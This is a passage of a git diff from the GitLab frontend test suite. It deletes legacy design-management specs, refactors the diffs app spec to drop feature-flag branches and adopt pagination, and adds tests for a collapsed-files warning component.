- describe.each([['/designs'], [{ name: DESIGNS_ROUTE_NAME }]])('designs route', routeArg => {
- it('pushes designs root component', () => {
- const wrapper = factory(routeArg);
-
- expect(wrapper.find(Designs).exists()).toBe(true);
- });
- });
-
- describe.each([['/designs/1'], [{ name: DESIGN_ROUTE_NAME, params: { id: '1' } }]])(
- 'designs detail route',
- routeArg => {
- it('pushes designs detail component', () => {
- const wrapper = factory(routeArg);
-
- return nextTick().then(() => {
- const detail = wrapper.find(DesignDetail);
- expect(detail.exists()).toBe(true);
- expect(detail.props('id')).toEqual('1');
- });
- });
- },
- );
-});
diff --git a/spec/frontend/design_management_legacy/utils/cache_update_spec.js b/spec/frontend/design_management_legacy/utils/cache_update_spec.js
deleted file mode 100644
index dce91b5e59b..00000000000
--- a/spec/frontend/design_management_legacy/utils/cache_update_spec.js
+++ /dev/null
@@ -1,44 +0,0 @@
-import { InMemoryCache } from 'apollo-cache-inmemory';
-import {
- updateStoreAfterDesignsDelete,
- updateStoreAfterAddDiscussionComment,
- updateStoreAfterAddImageDiffNote,
- updateStoreAfterUploadDesign,
- updateStoreAfterUpdateImageDiffNote,
-} from '~/design_management_legacy/utils/cache_update';
-import {
- designDeletionError,
- ADD_DISCUSSION_COMMENT_ERROR,
- ADD_IMAGE_DIFF_NOTE_ERROR,
- UPDATE_IMAGE_DIFF_NOTE_ERROR,
-} from '~/design_management_legacy/utils/error_messages';
-import design from '../mock_data/design';
-import { deprecatedCreateFlash as createFlash } from '~/flash';
-
-jest.mock('~/flash.js');
-
-describe('Design Management cache update', () => {
- const mockErrors = ['code red!'];
-
- let mockStore;
-
- beforeEach(() => {
- mockStore = new InMemoryCache();
- });
-
- describe('error handling', () => {
- it.each`
- fnName | subject | errorMessage | extraArgs
- ${'updateStoreAfterDesignsDelete'} | ${updateStoreAfterDesignsDelete} | ${designDeletionError({ singular: true })} | ${[[design]]}
- ${'updateStoreAfterAddDiscussionComment'} | ${updateStoreAfterAddDiscussionComment} | ${ADD_DISCUSSION_COMMENT_ERROR} | ${[]}
- ${'updateStoreAfterAddImageDiffNote'} | ${updateStoreAfterAddImageDiffNote} | ${ADD_IMAGE_DIFF_NOTE_ERROR} | ${[]}
- ${'updateStoreAfterUploadDesign'} | ${updateStoreAfterUploadDesign} | ${mockErrors[0]} | ${[]}
- ${'updateStoreAfterUpdateImageDiffNote'} | ${updateStoreAfterUpdateImageDiffNote} | ${UPDATE_IMAGE_DIFF_NOTE_ERROR} | ${[]}
- `('$fnName handles errors in response', ({ subject, extraArgs, errorMessage }) => {
- expect(createFlash).not.toHaveBeenCalled();
- expect(() => subject(mockStore, { errors: mockErrors }, {}, ...extraArgs)).toThrow();
- expect(createFlash).toHaveBeenCalledTimes(1);
- expect(createFlash).toHaveBeenCalledWith(errorMessage);
- });
- });
-});
diff --git a/spec/frontend/design_management_legacy/utils/design_management_utils_spec.js b/spec/frontend/design_management_legacy/utils/design_management_utils_spec.js
deleted file mode 100644
index 97e85a24a35..00000000000
--- a/spec/frontend/design_management_legacy/utils/design_management_utils_spec.js
+++ /dev/null
@@ -1,176 +0,0 @@
-import {
- extractCurrentDiscussion,
- extractDiscussions,
- findVersionId,
- designUploadOptimisticResponse,
- updateImageDiffNoteOptimisticResponse,
- isValidDesignFile,
- extractDesign,
-} from '~/design_management_legacy/utils/design_management_utils';
-import mockResponseNoDesigns from '../mock_data/no_designs';
-import mockResponseWithDesigns from '../mock_data/designs';
-import mockDesign from '../mock_data/design';
-
-jest.mock('lodash/uniqueId', () => () => 1);
-
-describe('extractCurrentDiscussion', () => {
- let discussions;
-
- beforeEach(() => {
- discussions = {
- nodes: [
- { id: 101, payload: 'w' },
- { id: 102, payload: 'x' },
- { id: 103, payload: 'y' },
- { id: 104, payload: 'z' },
- ],
- };
- });
-
- it('finds the relevant discussion if it exists', () => {
- const id = 103;
- expect(extractCurrentDiscussion(discussions, id)).toEqual({ id, payload: 'y' });
- });
-
- it('returns null if the relevant discussion does not exist', () => {
- expect(extractCurrentDiscussion(discussions, 0)).not.toBeDefined();
- });
-});
-
-describe('extractDiscussions', () => {
- let discussions;
-
- beforeEach(() => {
- discussions = {
- nodes: [
- { id: 1, notes: { nodes: ['a'] } },
- { id: 2, notes: { nodes: ['b'] } },
- { id: 3, notes: { nodes: ['c'] } },
- { id: 4, notes: { nodes: ['d'] } },
- ],
- };
- });
-
- it('discards the edges.node artifacts of GraphQL', () => {
- expect(extractDiscussions(discussions)).toEqual([
- { id: 1, notes: ['a'], index: 1 },
- { id: 2, notes: ['b'], index: 2 },
- { id: 3, notes: ['c'], index: 3 },
- { id: 4, notes: ['d'], index: 4 },
- ]);
- });
-});
-
-describe('version parser', () => {
- it('correctly extracts version ID from a valid version string', () => {
- const testVersionId = '123';
- const testVersionString = `gid://gitlab/DesignManagement::Version/${testVersionId}`;
-
- expect(findVersionId(testVersionString)).toEqual(testVersionId);
- });
-
- it('fails to extract version ID from an invalid version string', () => {
- const testInvalidVersionString = `gid://gitlab/DesignManagement::Version`;
-
- expect(findVersionId(testInvalidVersionString)).toBeUndefined();
- });
-});
-
-describe('optimistic responses', () => {
- it('correctly generated for designManagementUpload', () => {
- const expectedResponse = {
- __typename: 'Mutation',
- designManagementUpload: {
- __typename: 'DesignManagementUploadPayload',
- designs: [
- {
- __typename: 'Design',
- id: -1,
- image: '',
- imageV432x230: '',
- filename: 'test',
- fullPath: '',
- notesCount: 0,
- event: 'NONE',
- diffRefs: { __typename: 'DiffRefs', baseSha: '', startSha: '', headSha: '' },
- discussions: { __typename: 'DesignDiscussion', nodes: [] },
- versions: {
- __typename: 'DesignVersionConnection',
- edges: {
- __typename: 'DesignVersionEdge',
- node: { __typename: 'DesignVersion', id: -1, sha: -1 },
- },
- },
- },
- ],
- errors: [],
- skippedDesigns: [],
- },
- };
- expect(designUploadOptimisticResponse([{ name: 'test' }])).toEqual(expectedResponse);
- });
-
- it('correctly generated for updateImageDiffNoteOptimisticResponse', () => {
- const mockNote = {
- id: 'test-note-id',
- };
-
- const mockPosition = {
- x: 10,
- y: 10,
- width: 10,
- height: 10,
- };
-
- const expectedResponse = {
- __typename: 'Mutation',
- updateImageDiffNote: {
- __typename: 'UpdateImageDiffNotePayload',
- note: {
- ...mockNote,
- position: mockPosition,
- },
- errors: [],
- },
- };
- expect(updateImageDiffNoteOptimisticResponse(mockNote, { position: mockPosition })).toEqual(
- expectedResponse,
- );
- });
-});
-
-describe('isValidDesignFile', () => {
- // test every filetype that Design Management supports
- // https://docs.gitlab.com/ee/user/project/issues/design_management.html#limitations
- it.each`
- mimetype | isValid
- ${'image/svg'} | ${true}
- ${'image/png'} | ${true}
- ${'image/jpg'} | ${true}
- ${'image/jpeg'} | ${true}
- ${'image/gif'} | ${true}
- ${'image/bmp'} | ${true}
- ${'image/tiff'} | ${true}
- ${'image/ico'} | ${true}
- ${'image/svg'} | ${true}
- ${'video/mpeg'} | ${false}
- ${'audio/midi'} | ${false}
- ${'application/octet-stream'} | ${false}
- `('returns $isValid for file type $mimetype', ({ mimetype, isValid }) => {
- expect(isValidDesignFile({ type: mimetype })).toBe(isValid);
- });
-});
-
-describe('extractDesign', () => {
- describe('with no designs', () => {
- it('returns undefined', () => {
- expect(extractDesign(mockResponseNoDesigns)).toBeUndefined();
- });
- });
-
- describe('with designs', () => {
- it('returns the first design available', () => {
- expect(extractDesign(mockResponseWithDesigns)).toEqual(mockDesign);
- });
- });
-});
diff --git a/spec/frontend/design_management_legacy/utils/error_messages_spec.js b/spec/frontend/design_management_legacy/utils/error_messages_spec.js
deleted file mode 100644
index 489ac23da4e..00000000000
--- a/spec/frontend/design_management_legacy/utils/error_messages_spec.js
+++ /dev/null
@@ -1,62 +0,0 @@
-import {
- designDeletionError,
- designUploadSkippedWarning,
-} from '~/design_management_legacy/utils/error_messages';
-
-const mockFilenames = n =>
- Array(n)
- .fill(0)
- .map((_, i) => ({ filename: `${i + 1}.jpg` }));
-
-describe('Error message', () => {
- describe('designDeletionError', () => {
- const singularMsg = 'Could not delete a design. Please try again.';
- const pluralMsg = 'Could not delete designs. Please try again.';
-
- describe('when [singular=true]', () => {
- it.each([[undefined], [true]])('uses singular grammar', singularOption => {
- expect(designDeletionError({ singular: singularOption })).toEqual(singularMsg);
- });
- });
-
- describe('when [singular=false]', () => {
- it('uses plural grammar', () => {
- expect(designDeletionError({ singular: false })).toEqual(pluralMsg);
- });
- });
- });
-
- describe.each([
- [[], [], null],
- [mockFilenames(1), mockFilenames(1), 'Upload skipped. 1.jpg did not change.'],
- [
- mockFilenames(2),
- mockFilenames(2),
- 'Upload skipped. The designs you tried uploading did not change.',
- ],
- [
- mockFilenames(2),
- mockFilenames(1),
- 'Upload skipped. Some of the designs you tried uploading did not change: 1.jpg.',
- ],
- [
- mockFilenames(6),
- mockFilenames(5),
- 'Upload skipped. Some of the designs you tried uploading did not change: 1.jpg, 2.jpg, 3.jpg, 4.jpg, 5.jpg.',
- ],
- [
- mockFilenames(7),
- mockFilenames(6),
- 'Upload skipped. Some of the designs you tried uploading did not change: 1.jpg, 2.jpg, 3.jpg, 4.jpg, 5.jpg, and 1 more.',
- ],
- [
- mockFilenames(8),
- mockFilenames(7),
- 'Upload skipped. Some of the designs you tried uploading did not change: 1.jpg, 2.jpg, 3.jpg, 4.jpg, 5.jpg, and 2 more.',
- ],
- ])('designUploadSkippedWarning', (uploadedFiles, skippedFiles, expected) => {
- it('returns expected warning message', () => {
- expect(designUploadSkippedWarning(uploadedFiles, skippedFiles)).toBe(expected);
- });
- });
-});
diff --git a/spec/frontend/design_management_legacy/utils/tracking_spec.js b/spec/frontend/design_management_legacy/utils/tracking_spec.js
deleted file mode 100644
index a59cf80c906..00000000000
--- a/spec/frontend/design_management_legacy/utils/tracking_spec.js
+++ /dev/null
@@ -1,59 +0,0 @@
-import { mockTracking } from 'helpers/tracking_helper';
-import { trackDesignDetailView } from '~/design_management_legacy/utils/tracking';
-
-function getTrackingSpy(key) {
- return mockTracking(key, undefined, jest.spyOn);
-}
-
-describe('Tracking Events', () => {
- describe('trackDesignDetailView', () => {
- const eventKey = 'projects:issues:design';
- const eventName = 'view_design';
-
- it('trackDesignDetailView fires a tracking event when called', () => {
- const trackingSpy = getTrackingSpy(eventKey);
-
- trackDesignDetailView();
-
- expect(trackingSpy).toHaveBeenCalledWith(
- eventKey,
- eventName,
- expect.objectContaining({
- label: eventName,
- context: {
- schema: expect.any(String),
- data: {
- 'design-version-number': 1,
- 'design-is-current-version': false,
- 'internal-object-referrer': '',
- 'design-collection-owner': '',
- },
- },
- }),
- );
- });
-
- it('trackDesignDetailView allows to customize the value payload', () => {
- const trackingSpy = getTrackingSpy(eventKey);
-
- trackDesignDetailView('from-a-test', 'test', 100, true);
-
- expect(trackingSpy).toHaveBeenCalledWith(
- eventKey,
- eventName,
- expect.objectContaining({
- label: eventName,
- context: {
- schema: expect.any(String),
- data: {
- 'design-version-number': 100,
- 'design-is-current-version': true,
- 'internal-object-referrer': 'from-a-test',
- 'design-collection-owner': 'test',
- },
- },
- }),
- );
- });
- });
-});
diff --git a/spec/frontend/diffs/components/app_spec.js b/spec/frontend/diffs/components/app_spec.js
index ac046ddc203..cd3a6aa0e28 100644
--- a/spec/frontend/diffs/components/app_spec.js
+++ b/spec/frontend/diffs/components/app_spec.js
@@ -1,6 +1,6 @@
import Vuex from 'vuex';
import { shallowMount, createLocalVue } from '@vue/test-utils';
-import { GlLoadingIcon } from '@gitlab/ui';
+import { GlLoadingIcon, GlPagination } from '@gitlab/ui';
import MockAdapter from 'axios-mock-adapter';
import { TEST_HOST } from 'spec/test_constants';
import Mousetrap from 'mousetrap';
@@ -9,6 +9,7 @@ import NoChanges from '~/diffs/components/no_changes.vue';
import DiffFile from '~/diffs/components/diff_file.vue';
import CompareVersions from '~/diffs/components/compare_versions.vue';
import HiddenFilesWarning from '~/diffs/components/hidden_files_warning.vue';
+import CollapsedFilesWarning from '~/diffs/components/collapsed_files_warning.vue';
import CommitWidget from '~/diffs/components/commit_widget.vue';
import TreeList from '~/diffs/components/tree_list.vue';
import { INLINE_DIFF_VIEW_TYPE, PARALLEL_DIFF_VIEW_TYPE } from '~/diffs/constants';
@@ -22,6 +23,10 @@ const TEST_ENDPOINT = `${TEST_HOST}/diff/endpoint`;
const COMMIT_URL = '[BASE URL]/OLD';
const UPDATED_COMMIT_URL = '[BASE URL]/NEW';
+function getCollapsedFilesWarning(wrapper) {
+ return wrapper.find(CollapsedFilesWarning);
+}
+
describe('diffs/components/app', () => {
const oldMrTabs = window.mrTabs;
let store;
@@ -108,7 +113,6 @@ describe('diffs/components/app', () => {
};
jest.spyOn(window, 'requestIdleCallback').mockImplementation(fn => fn());
createComponent();
- jest.spyOn(wrapper.vm, 'fetchDiffFiles').mockImplementation(fetchResolver);
jest.spyOn(wrapper.vm, 'fetchDiffFilesMeta').mockImplementation(fetchResolver);
jest.spyOn(wrapper.vm, 'fetchDiffFilesBatch').mockImplementation(fetchResolver);
jest.spyOn(wrapper.vm, 'fetchCoverageFiles').mockImplementation(fetchResolver);
@@ -139,37 +143,21 @@ describe('diffs/components/app', () => {
parallel_diff_lines: ['line'],
};
- function expectFetchToOccur({
- vueInstance,
- done = () => {},
- batch = false,
- existingFiles = 1,
- } = {}) {
+ function expectFetchToOccur({ vueInstance, done = () => {}, existingFiles = 1 } = {}) {
vueInstance.$nextTick(() => {
expect(vueInstance.diffFiles.length).toEqual(existingFiles);
-
- if (!batch) {
- expect(vueInstance.fetchDiffFiles).toHaveBeenCalled();
- expect(vueInstance.fetchDiffFilesBatch).not.toHaveBeenCalled();
- } else {
- expect(vueInstance.fetchDiffFiles).not.toHaveBeenCalled();
- expect(vueInstance.fetchDiffFilesBatch).toHaveBeenCalled();
- }
+ expect(vueInstance.fetchDiffFilesBatch).toHaveBeenCalled();
done();
});
}
- beforeEach(() => {
- wrapper.vm.glFeatures.singleMrDiffView = true;
- });
-
it('fetches diffs if it has none', done => {
wrapper.vm.isLatestVersion = () => false;
store.state.diffs.diffViewType = getOppositeViewType(wrapper.vm.diffViewType);
- expectFetchToOccur({ vueInstance: wrapper.vm, batch: false, existingFiles: 0, done });
+ expectFetchToOccur({ vueInstance: wrapper.vm, existingFiles: 0, done });
});
it('fetches diffs if it has both view styles, but no lines in either', done => {
@@ -200,89 +188,46 @@ describe('diffs/components/app', () => {
});
it('fetches batch diffs if it has none', done => {
- wrapper.vm.glFeatures.diffsBatchLoad = true;
-
store.state.diffs.diffViewType = getOppositeViewType(wrapper.vm.diffViewType);
- expectFetchToOccur({ vueInstance: wrapper.vm, batch: true, existingFiles: 0, done });
+ expectFetchToOccur({ vueInstance: wrapper.vm, existingFiles: 0, done });
});
it('fetches batch diffs if it has both view styles, but no lines in either', done => {
- wrapper.vm.glFeatures.diffsBatchLoad = true;
-
store.state.diffs.diffFiles.push(noLinesDiff);
store.state.diffs.diffViewType = getOppositeViewType(wrapper.vm.diffViewType);
- expectFetchToOccur({ vueInstance: wrapper.vm, batch: true, done });
+ expectFetchToOccur({ vueInstance: wrapper.vm, done });
});
it('fetches batch diffs if it only has inline view style', done => {
- wrapper.vm.glFeatures.diffsBatchLoad = true;
-
store.state.diffs.diffFiles.push(inlineLinesDiff);
store.state.diffs.diffViewType = getOppositeViewType(wrapper.vm.diffViewType);
- expectFetchToOccur({ vueInstance: wrapper.vm, batch: true, done });
+ expectFetchToOccur({ vueInstance: wrapper.vm, done });
});
it('fetches batch diffs if it only has parallel view style', done => {
- wrapper.vm.glFeatures.diffsBatchLoad = true;
-
store.state.diffs.diffFiles.push(parallelLinesDiff);
store.state.diffs.diffViewType = getOppositeViewType(wrapper.vm.diffViewType);
- expectFetchToOccur({ vueInstance: wrapper.vm, batch: true, done });
- });
-
- it('does not fetch diffs if it has already fetched both styles of diff', () => {
- wrapper.vm.glFeatures.diffsBatchLoad = false;
-
- store.state.diffs.diffFiles.push(fullDiff);
- store.state.diffs.diffViewType = getOppositeViewType(wrapper.vm.diffViewType);
-
- expect(wrapper.vm.diffFiles.length).toEqual(1);
- expect(wrapper.vm.fetchDiffFiles).not.toHaveBeenCalled();
- expect(wrapper.vm.fetchDiffFilesBatch).not.toHaveBeenCalled();
+ expectFetchToOccur({ vueInstance: wrapper.vm, done });
});
it('does not fetch batch diffs if it has already fetched both styles of diff', () => {
- wrapper.vm.glFeatures.diffsBatchLoad = true;
-
store.state.diffs.diffFiles.push(fullDiff);
store.state.diffs.diffViewType = getOppositeViewType(wrapper.vm.diffViewType);
expect(wrapper.vm.diffFiles.length).toEqual(1);
- expect(wrapper.vm.fetchDiffFiles).not.toHaveBeenCalled();
expect(wrapper.vm.fetchDiffFilesBatch).not.toHaveBeenCalled();
});
});
- it('calls fetchDiffFiles if diffsBatchLoad is not enabled', done => {
- expect(wrapper.vm.diffFilesLength).toEqual(0);
- wrapper.vm.glFeatures.diffsBatchLoad = false;
- wrapper.vm.fetchData(false);
-
- expect(wrapper.vm.fetchDiffFiles).toHaveBeenCalled();
- setImmediate(() => {
- expect(wrapper.vm.startRenderDiffsQueue).toHaveBeenCalled();
- expect(wrapper.vm.fetchDiffFilesMeta).not.toHaveBeenCalled();
- expect(wrapper.vm.fetchDiffFilesBatch).not.toHaveBeenCalled();
- expect(wrapper.vm.fetchCoverageFiles).toHaveBeenCalled();
- expect(wrapper.vm.unwatchDiscussions).toHaveBeenCalled();
- expect(wrapper.vm.diffFilesLength).toEqual(100);
- expect(wrapper.vm.unwatchRetrievingBatches).toHaveBeenCalled();
-
- done();
- });
- });
-
it('calls batch methods if diffsBatchLoad is enabled, and not latest version', done => {
expect(wrapper.vm.diffFilesLength).toEqual(0);
- wrapper.vm.glFeatures.diffsBatchLoad = true;
wrapper.vm.isLatestVersion = () => false;
wrapper.vm.fetchData(false);
- expect(wrapper.vm.fetchDiffFiles).not.toHaveBeenCalled();
setImmediate(() => {
expect(wrapper.vm.startRenderDiffsQueue).toHaveBeenCalled();
expect(wrapper.vm.fetchDiffFilesMeta).toHaveBeenCalled();
@@ -297,10 +242,8 @@ describe('diffs/components/app', () => {
it('calls batch methods if diffsBatchLoad is enabled, and latest version', done => {
expect(wrapper.vm.diffFilesLength).toEqual(0);
- wrapper.vm.glFeatures.diffsBatchLoad = true;
wrapper.vm.fetchData(false);
- expect(wrapper.vm.fetchDiffFiles).not.toHaveBeenCalled();
setImmediate(() => {
expect(wrapper.vm.startRenderDiffsQueue).toHaveBeenCalled();
expect(wrapper.vm.fetchDiffFilesMeta).toHaveBeenCalled();
@@ -320,7 +263,7 @@ describe('diffs/components/app', () => {
state.diffs.isParallelView = false;
});
- expect(wrapper.contains('.container-limited.limit-container-width')).toBe(true);
+ expect(wrapper.find('.container-limited.limit-container-width').exists()).toBe(true);
});
it('does not add container-limiting classes when showFileTree is false with inline diffs', () => {
@@ -329,7 +272,7 @@ describe('diffs/components/app', () => {
state.diffs.isParallelView = false;
});
- expect(wrapper.contains('.container-limited.limit-container-width')).toBe(false);
+ expect(wrapper.find('.container-limited.limit-container-width').exists()).toBe(false);
});
it('does not add container-limiting classes when isFluidLayout', () => {
@@ -337,7 +280,7 @@ describe('diffs/components/app', () => {
state.diffs.isParallelView = false;
});
- expect(wrapper.contains('.container-limited.limit-container-width')).toBe(false);
+ expect(wrapper.find('.container-limited.limit-container-width').exists()).toBe(false);
});
it('displays loading icon on loading', () => {
@@ -345,7 +288,7 @@ describe('diffs/components/app', () => {
state.diffs.isLoading = true;
});
- expect(wrapper.contains(GlLoadingIcon)).toBe(true);
+ expect(wrapper.find(GlLoadingIcon).exists()).toBe(true);
});
it('displays loading icon on batch loading', () => {
@@ -353,20 +296,20 @@ describe('diffs/components/app', () => {
state.diffs.isBatchLoading = true;
});
- expect(wrapper.contains(GlLoadingIcon)).toBe(true);
+ expect(wrapper.find(GlLoadingIcon).exists()).toBe(true);
});
it('displays diffs container when not loading', () => {
createComponent();
- expect(wrapper.contains(GlLoadingIcon)).toBe(false);
- expect(wrapper.contains('#diffs')).toBe(true);
+ expect(wrapper.find(GlLoadingIcon).exists()).toBe(false);
+ expect(wrapper.find('#diffs').exists()).toBe(true);
});
it('does not show commit info', () => {
createComponent();
- expect(wrapper.contains('.blob-commit-info')).toBe(false);
+ expect(wrapper.find('.blob-commit-info').exists()).toBe(false);
});
describe('row highlighting', () => {
@@ -442,7 +385,7 @@ describe('diffs/components/app', () => {
it('renders empty state when no diff files exist', () => {
createComponent();
- expect(wrapper.contains(NoChanges)).toBe(true);
+ expect(wrapper.find(NoChanges).exists()).toBe(true);
});
it('does not render empty state when diff files exist', () => {
@@ -452,7 +395,7 @@ describe('diffs/components/app', () => {
});
});
- expect(wrapper.contains(NoChanges)).toBe(false);
+ expect(wrapper.find(NoChanges).exists()).toBe(false);
expect(wrapper.findAll(DiffFile).length).toBe(1);
});
@@ -462,7 +405,7 @@ describe('diffs/components/app', () => {
state.diffs.mergeRequestDiff = mergeRequestDiff;
});
- expect(wrapper.contains(NoChanges)).toBe(false);
+ expect(wrapper.find(NoChanges).exists()).toBe(false);
});
});
@@ -722,7 +665,7 @@ describe('diffs/components/app', () => {
state.diffs.mergeRequestDiff = mergeRequestDiff;
});
- expect(wrapper.contains(CompareVersions)).toBe(true);
+ expect(wrapper.find(CompareVersions).exists()).toBe(true);
expect(wrapper.find(CompareVersions).props()).toEqual(
expect.objectContaining({
mergeRequestDiffs: diffsMockData,
@@ -730,24 +673,51 @@ describe('diffs/components/app', () => {
);
});
- it('should render hidden files warning if render overflow warning is present', () => {
- createComponent({}, ({ state }) => {
- state.diffs.renderOverflowWarning = true;
- state.diffs.realSize = '5';
- state.diffs.plainDiffPath = 'plain diff path';
- state.diffs.emailPatchPath = 'email patch path';
- state.diffs.size = 1;
+ describe('warnings', () => {
+ describe('hidden files', () => {
+ it('should render hidden files warning if render overflow warning is present', () => {
+ createComponent({}, ({ state }) => {
+ state.diffs.renderOverflowWarning = true;
+ state.diffs.realSize = '5';
+ state.diffs.plainDiffPath = 'plain diff path';
+ state.diffs.emailPatchPath = 'email patch path';
+ state.diffs.size = 1;
+ });
+
+ expect(wrapper.find(HiddenFilesWarning).exists()).toBe(true);
+ expect(wrapper.find(HiddenFilesWarning).props()).toEqual(
+ expect.objectContaining({
+ total: '5',
+ plainDiffPath: 'plain diff path',
+ emailPatchPath: 'email patch path',
+ visible: 1,
+ }),
+ );
+ });
});
- expect(wrapper.contains(HiddenFilesWarning)).toBe(true);
- expect(wrapper.find(HiddenFilesWarning).props()).toEqual(
- expect.objectContaining({
- total: '5',
- plainDiffPath: 'plain diff path',
- emailPatchPath: 'email patch path',
- visible: 1,
- }),
- );
+ describe('collapsed files', () => {
+ it('should render the collapsed files warning if there are any collapsed files', () => {
+ createComponent({}, ({ state }) => {
+ state.diffs.diffFiles = [{ viewer: { collapsed: true } }];
+ });
+
+ expect(getCollapsedFilesWarning(wrapper).exists()).toBe(true);
+ });
+
+ it('should not render the collapsed files warning if the user has dismissed the alert already', async () => {
+ createComponent({}, ({ state }) => {
+ state.diffs.diffFiles = [{ viewer: { collapsed: true } }];
+ });
+
+ expect(getCollapsedFilesWarning(wrapper).exists()).toBe(true);
+
+ wrapper.vm.collapsedWarningDismissed = true;
+ await wrapper.vm.$nextTick();
+
+ expect(getCollapsedFilesWarning(wrapper).exists()).toBe(false);
+ });
+ });
});
it('should display commit widget if store has a commit', () => {
@@ -757,7 +727,7 @@ describe('diffs/components/app', () => {
};
});
- expect(wrapper.contains(CommitWidget)).toBe(true);
+ expect(wrapper.find(CommitWidget).exists()).toBe(true);
});
it('should display diff file if there are diff files', () => {
@@ -765,7 +735,7 @@ describe('diffs/components/app', () => {
state.diffs.diffFiles.push({ sha: '123' });
});
- expect(wrapper.contains(DiffFile)).toBe(true);
+ expect(wrapper.find(DiffFile).exists()).toBe(true);
});
it('should render tree list', () => {
@@ -843,13 +813,16 @@ describe('diffs/components/app', () => {
});
describe('pagination', () => {
+ const fileByFileNav = () => wrapper.find('[data-testid="file-by-file-navigation"]');
+ const paginator = () => fileByFileNav().find(GlPagination);
+
it('sets previous button as disabled', () => {
createComponent({ viewDiffsFileByFile: true }, ({ state }) => {
state.diffs.diffFiles.push({ file_hash: '123' }, { file_hash: '312' });
});
- expect(wrapper.find('[data-testid="singleFilePrevious"]').props('disabled')).toBe(true);
- expect(wrapper.find('[data-testid="singleFileNext"]').props('disabled')).toBe(false);
+ expect(paginator().attributes('prevpage')).toBe(undefined);
+ expect(paginator().attributes('nextpage')).toBe('2');
});
it('sets next button as disabled', () => {
@@ -858,17 +831,26 @@ describe('diffs/components/app', () => {
state.diffs.currentDiffFileId = '312';
});
- expect(wrapper.find('[data-testid="singleFilePrevious"]').props('disabled')).toBe(false);
- expect(wrapper.find('[data-testid="singleFileNext"]').props('disabled')).toBe(true);
+ expect(paginator().attributes('prevpage')).toBe('1');
+ expect(paginator().attributes('nextpage')).toBe(undefined);
+ });
+
+ it("doesn't display when there's fewer than 2 files", () => {
+ createComponent({ viewDiffsFileByFile: true }, ({ state }) => {
+ state.diffs.diffFiles.push({ file_hash: '123' });
+ state.diffs.currentDiffFileId = '123';
+ });
+
+ expect(fileByFileNav().exists()).toBe(false);
});
it.each`
- currentDiffFileId | button | index
- ${'123'} | ${'singleFileNext'} | ${1}
- ${'312'} | ${'singleFilePrevious'} | ${0}
+ currentDiffFileId | targetFile
+ ${'123'} | ${2}
+ ${'312'} | ${1}
`(
- 'it calls navigateToDiffFileIndex with $index when $button is clicked',
- ({ currentDiffFileId, button, index }) => {
+ 'it calls navigateToDiffFileIndex with $index when $link is clicked',
+ async ({ currentDiffFileId, targetFile }) => {
createComponent({ viewDiffsFileByFile: true }, ({ state }) => {
state.diffs.diffFiles.push({ file_hash: '123' }, { file_hash: '312' });
state.diffs.currentDiffFileId = currentDiffFileId;
@@ -876,11 +858,11 @@ describe('diffs/components/app', () => {
jest.spyOn(wrapper.vm, 'navigateToDiffFileIndex');
- wrapper.find(`[data-testid="${button}"]`).vm.$emit('click');
+ paginator().vm.$emit('input', targetFile);
- return wrapper.vm.$nextTick().then(() => {
- expect(wrapper.vm.navigateToDiffFileIndex).toHaveBeenCalledWith(index);
- });
+ await wrapper.vm.$nextTick();
+
+ expect(wrapper.vm.navigateToDiffFileIndex).toHaveBeenCalledWith(targetFile - 1);
},
);
});
diff --git a/spec/frontend/diffs/components/collapsed_files_warning_spec.js b/spec/frontend/diffs/components/collapsed_files_warning_spec.js
new file mode 100644
index 00000000000..670eab5472f
--- /dev/null
+++ b/spec/frontend/diffs/components/collapsed_files_warning_spec.js
@@ -0,0 +1,88 @@
+import Vuex from 'vuex';
+import { shallowMount, mount, createLocalVue } from '@vue/test-utils';
+import createStore from '~/diffs/store/modules';
+import CollapsedFilesWarning from '~/diffs/components/collapsed_files_warning.vue';
+import { CENTERED_LIMITED_CONTAINER_CLASSES } from '~/diffs/constants';
+
+const propsData = {
+ limited: true,
+ mergeable: true,
+ resolutionPath: 'a-path',
+};
+const limitedClasses = CENTERED_LIMITED_CONTAINER_CLASSES.split(' ');
+
+describe('CollapsedFilesWarning', () => {
+ const localVue = createLocalVue();
+ let store;
+ let wrapper;
+
+ localVue.use(Vuex);
+
+ const getAlertActionButton = () =>
+ wrapper.find(CollapsedFilesWarning).find('button.gl-alert-action:first-child');
+ const getAlertCloseButton = () => wrapper.find(CollapsedFilesWarning).find('button');
+
+ const createComponent = (props = {}, { full } = { full: false }) => {
+ const mounter = full ? mount : shallowMount;
+ store = new Vuex.Store({
+ modules: {
+ diffs: createStore(),
+ },
+ });
+
+ wrapper = mounter(CollapsedFilesWarning, {
+ propsData: { ...propsData, ...props },
+ localVue,
+ store,
+ });
+ };
+
+ afterEach(() => {
+ wrapper.destroy();
+ });
+
+ it.each`
+ limited | containerClasses
+ ${true} | ${limitedClasses}
+ ${false} | ${[]}
+ `(
+ 'has the correct container classes when limited is $limited',
+ ({ limited, containerClasses }) => {
+ createComponent({ limited });
+
+ expect(wrapper.classes()).toEqual(containerClasses);
+ },
+ );
+
+ it.each`
+ present | dismissed
+ ${false} | ${true}
+ ${true} | ${false}
+ `('toggles the alert when dismissed is $dismissed', ({ present, dismissed }) => {
+ createComponent({ dismissed });
+
+ expect(wrapper.find('[data-testid="root"]').exists()).toBe(present);
+ });
+
+ it('dismisses the component when the alert "x" is clicked', async () => {
+ createComponent({}, { full: true });
+
+ expect(wrapper.find('[data-testid="root"]').exists()).toBe(true);
+
+ getAlertCloseButton().element.click();
+
+ await wrapper.vm.$nextTick();
+
+ expect(wrapper.find('[data-testid="root"]').exists()).toBe(false);
+ });
+
+ it('triggers the expandAllFiles action when the alert action button is clicked', () => {
+ createComponent({}, { full: true });
+
+ jest.spyOn(wrapper.vm.$store, 'dispatch').mockReturnValue(undefined);
+
+ getAlertActionButton().vm.$emit('click');
+
+ expect(wrapper.vm.$store.dispatch).toHaveBeenCalledWith('diffs/expandAllFiles', undefined);
+ });
+});
diff --git a/spec/frontend/diffs/components/commit_item_spec.js b/spec/frontend/diffs/components/commit_item_spec.js
index 0df951d43a7..c48445790f7 100644
--- a/spec/frontend/diffs/components/commit_item_spec.js
+++ b/spec/frontend/diffs/components/commit_item_spec.js
@@ -24,8 +24,7 @@ describe('diffs/components/commit_item', () => {
const getTitleElement = () => wrapper.find('.commit-row-message.item-title');
const getDescElement = () => wrapper.find('pre.commit-row-description');
- const getDescExpandElement = () =>
- wrapper.find('.commit-content .text-expander.js-toggle-button');
+ const getDescExpandElement = () => wrapper.find('.commit-content .js-toggle-button');
const getShaElement = () => wrapper.find('.commit-sha-group');
const getAvatarElement = () => wrapper.find('.user-avatar-link');
const getCommitterElement = () => wrapper.find('.committer');
